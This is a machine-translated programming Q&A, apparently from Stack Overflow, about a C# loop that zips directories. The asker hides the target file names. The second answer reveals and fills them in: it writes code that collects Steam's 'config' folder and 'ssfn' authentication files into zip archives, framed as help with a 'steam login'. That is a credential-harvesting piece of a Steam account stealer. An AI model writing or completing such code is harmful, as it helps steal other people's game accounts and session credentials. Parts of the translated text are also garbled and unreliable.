我创建了一个程序,用于复制zip存档中的目录和一些文件。
因此,当我启动程序时,没有存档。 我试图放置一个断点,它显示for循环正在跳过。为什么呢?
for (int i = 0; i == steamPath.Count(s => s != null); i++)
{
string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
ZipFile zip = new ZipFile();
zip.AddFile(Path.Combine(path[i], "folder"));
foreach (string f in Directory.GetFiles(path[i]))
{
string fileName = Path.GetFileName(f);
if(fileName.StartsWith("name"))
{
zip.AddFile(Path.Combine(path[i], fileName));
}
}
zip.Save(Path.Combine(appData, "File[" + i + "].zip"));
}
答案 0 :(得分:6)
如果计数超过i == steamPath.Count(s => s != null)
,true
将永远不会产生0
因此,循环将会中断。
试试这个:
i < steamPath.Count(s => s != null)
for
循环运行,只要条件为true
,而不是,直到为true
。
另一种选择是使用foreach
:
foreach (var path in steamPath.Where(s => s != null)))
{ }
答案 1 :(得分:0)
如果您正在尝试进行蒸汽登录,那么有一些更容易实现的方法就是我要说的。 / ID / avvulous
我建议在你运行循环之前过滤掉你的steamPath数组中的'null',然后你可以使用'foreach'循环来使你的工作变得更容易,它们是两个单独的工作,而你'没有正确地组合它们。
List<string> steamPathsNoNull = new List<string>();
foreach (string s in steamPaths)
{
if (s != null)
{
steamPathsNoNull.Add(s);
}
}
int i = 0;
foreach (string s in steamPathsNoNull)
{
string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
ZipFile zip = new ZipFile();
zip.AddFile(Path.Combine(s, "config"));
foreach (string f in Directory.GetFiles(s))
{
string fileName = Path.GetFileName(f);
if (fileName.StartsWith("ssfn"))
{
zip.AddFile(Path.Combine(s, fileName));
}
}
zip.Save(Path.Combine(appData, "Steam[" + i + "].zip"));
i++;
}